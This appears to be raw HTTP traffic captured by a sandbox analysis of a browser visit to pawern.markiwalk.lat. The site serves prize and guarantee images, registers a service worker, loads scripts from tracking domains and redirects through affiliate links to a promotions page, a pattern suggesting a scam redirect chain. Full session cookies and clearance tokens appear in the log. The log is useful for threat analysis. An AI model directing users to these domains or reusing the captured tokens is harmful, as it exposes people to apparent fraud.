Source: global traffic	HTTP traffic detected: GET /master/us217/product.png HTTP/1.1Host: pawern.markiwalk.latConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /master/us217/f_guarantee.png HTTP/1.1Host: pawern.markiwalk.latConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /master/us217/f_secure_1.png HTTP/1.1Host: pawern.markiwalk.latConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /jsma/fp.js HTTP/1.1Host: s3.us-west-2.amazonaws.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: pawern.markiwalk.latConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /master/us217/logo.png HTTP/1.1Host: pawern.markiwalk.latConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /master/us217/flaglogo.png HTTP/1.1Host: pawern.markiwalk.latConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /master/us217/f_guarantee.png HTTP/1.1Host: pawern.markiwalk.latConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /p/m.gif?label=dXJsPWh0dHBzJTNBJTJGJTJGcGF3ZXJuLm1hcmtpd2Fsay5sYXQlMkZ2am5jbCUyRnV2cmUlMkZuamFtJTJGaWVybiZtaWQ9NTcwNWU5NjE3MzlmMjVlMDI3NTQxYzliNTNkNmI5MzYmdGFnPWI5MjcyMmRjYjBlZDhmNjY4MDM2OTU4Mzk1ZWE2MmU3LTEyMzY1MDMxNDAmaGFzaD1mYmRkYjhkZjQxM2M4OWExZWRhNzk2NGU2MmRmNzljZCwmYnJvd3Nlcj1DaHJvbWUmaXNtb2JpbGU9ZmFsc2UmY3RzPTE3Mjc5NzIyOTQ0OTkmc2hvcnRpZD1Ca0p6ODdL HTTP/1.1Host: p.sitemana.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://pawern.markiwalk.latSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pawern.markiwalk.lat/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /master/us217/product.png HTTP/1.1Host: pawern.markiwalk.latConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js? HTTP/1.1Host: pawern.markiwalk.latConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: pawern.markiwalk.latConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /service-worker.js HTTP/1.1Host: pawern.markiwalk.latConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js? HTTP/1.1Host: pawern.markiwalk.latConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /scripts/pg/v9e118mez8 HTTP/1.1Host: trk-dynamoris.comConnection: keep-aliveCache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pawern.markiwalk.lat/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5STWVyoMfP3orr2&MD=ZgDDNME8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/jsd/r/8cce3f1f68d419aa HTTP/1.1Host: pawern.markiwalk.latConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /scripts/sw/v9e118mez8 HTTP/1.1Host: trk-dynamoris.comConnection: keep-aliveCache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pawern.markiwalk.lat/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /register/event_log/v9e118mez8 HTTP/1.1Host: event.trk-elevostra.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5STWVyoMfP3orr2&MD=ZgDDNME8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /master/us217/loadingBL.gif HTTP/1.1Host: pawern.markiwalk.latConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd; cf_clearance=Mu6XuA0a7g3Dzr0CytgV_brTVeqix8KITnc_8YvK_U0-1727972297-1.2.1.1-Mdk5bwj8d9aPgWIaWdtro12oPbLU_AZB2sjyV4o5veq9FKJtZAHhXoF__TH4InBB9bPCHcLrbWgvTJzpIUtm0mEOqotpsBiCoVko5xYyb7uSqKwEa54kDKKf7cK7HXsItT1_t2V9E42MuNBGQdB9pDkKFCXviurLpPrY8qizKTeaIuS79sd8_ybSLbFICrScZp7NRcaERJjELZTcYJ.J53LlmCfSi_KX.p.8tJaJEBx73YLnBlzjjETenTwxYXxvKnpZsTdbGv2B99nu8ZHUEPm26NH4sqSQ6IOBZzR0GThHo41V1KWNmF.OLMY5g45I64DE7wSEIhjPI0rRiwZQZJ_0UR9lv2mB4GRP3vqxFW86dQvR3i20jUA_zFIuehJg
Source: global traffic	HTTP traffic detected: GET /master/us217/loadingBL.gif HTTP/1.1Host: pawern.markiwalk.latConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /master/us217/prize1.png HTTP/1.1Host: pawern.markiwalk.latConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd; cf_clearance=Mu6XuA0a7g3Dzr0CytgV_brTVeqix8KITnc_8YvK_U0-1727972297-1.2.1.1-Mdk5bwj8d9aPgWIaWdtro12oPbLU_AZB2sjyV4o5veq9FKJtZAHhXoF__TH4InBB9bPCHcLrbWgvTJzpIUtm0mEOqotpsBiCoVko5xYyb7uSqKwEa54kDKKf7cK7HXsItT1_t2V9E42MuNBGQdB9pDkKFCXviurLpPrY8qizKTeaIuS79sd8_ybSLbFICrScZp7NRcaERJjELZTcYJ.J53LlmCfSi_KX.p.8tJaJEBx73YLnBlzjjETenTwxYXxvKnpZsTdbGv2B99nu8ZHUEPm26NH4sqSQ6IOBZzR0GThHo41V1KWNmF.OLMY5g45I64DE7wSEIhjPI0rRiwZQZJ_0UR9lv2mB4GRP3vqxFW86dQvR3i20jUA_zFIuehJg
Source: global traffic	HTTP traffic detected: GET /master/us217/1.jpg HTTP/1.1Host: pawern.markiwalk.latConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd; cf_clearance=Mu6XuA0a7g3Dzr0CytgV_brTVeqix8KITnc_8YvK_U0-1727972297-1.2.1.1-Mdk5bwj8d9aPgWIaWdtro12oPbLU_AZB2sjyV4o5veq9FKJtZAHhXoF__TH4InBB9bPCHcLrbWgvTJzpIUtm0mEOqotpsBiCoVko5xYyb7uSqKwEa54kDKKf7cK7HXsItT1_t2V9E42MuNBGQdB9pDkKFCXviurLpPrY8qizKTeaIuS79sd8_ybSLbFICrScZp7NRcaERJjELZTcYJ.J53LlmCfSi_KX.p.8tJaJEBx73YLnBlzjjETenTwxYXxvKnpZsTdbGv2B99nu8ZHUEPm26NH4sqSQ6IOBZzR0GThHo41V1KWNmF.OLMY5g45I64DE7wSEIhjPI0rRiwZQZJ_0UR9lv2mB4GRP3vqxFW86dQvR3i20jUA_zFIuehJg
Source: global traffic	HTTP traffic detected: GET /master/us217/prize1.png HTTP/1.1Host: pawern.markiwalk.latConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /master/us217/1.jpg HTTP/1.1Host: pawern.markiwalk.latConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /master/us217/logo2.png HTTP/1.1Host: pawern.markiwalk.latConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd; cf_clearance=Mu6XuA0a7g3Dzr0CytgV_brTVeqix8KITnc_8YvK_U0-1727972297-1.2.1.1-Mdk5bwj8d9aPgWIaWdtro12oPbLU_AZB2sjyV4o5veq9FKJtZAHhXoF__TH4InBB9bPCHcLrbWgvTJzpIUtm0mEOqotpsBiCoVko5xYyb7uSqKwEa54kDKKf7cK7HXsItT1_t2V9E42MuNBGQdB9pDkKFCXviurLpPrY8qizKTeaIuS79sd8_ybSLbFICrScZp7NRcaERJjELZTcYJ.J53LlmCfSi_KX.p.8tJaJEBx73YLnBlzjjETenTwxYXxvKnpZsTdbGv2B99nu8ZHUEPm26NH4sqSQ6IOBZzR0GThHo41V1KWNmF.OLMY5g45I64DE7wSEIhjPI0rRiwZQZJ_0UR9lv2mB4GRP3vqxFW86dQvR3i20jUA_zFIuehJg
Source: global traffic	HTTP traffic detected: GET /master/us217/logo2.png HTTP/1.1Host: pawern.markiwalk.latConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
Source: global traffic	HTTP traffic detected: GET /click?trvid=11356&s2=1236503140&s1=351518&s3=7605&s4=4598 HTTP/1.1Host: shineheater.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://pawern.markiwalk.lat/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /63CFP/7J9L55/?sub2=attU66V5SCje HTTP/1.1Host: www.scgyvdstrk.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://pawern.markiwalk.lat/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://pawern.markiwalk.lat/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/assets/css/app.css HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/css/ui-fixing.css HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/css/all.css HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/css/animate.css HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/css/custom.css HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
Source: global traffic	HTTP traffic detected: GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/css/app2.css HTTP/1.1Host: www.greatqualitydeals.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
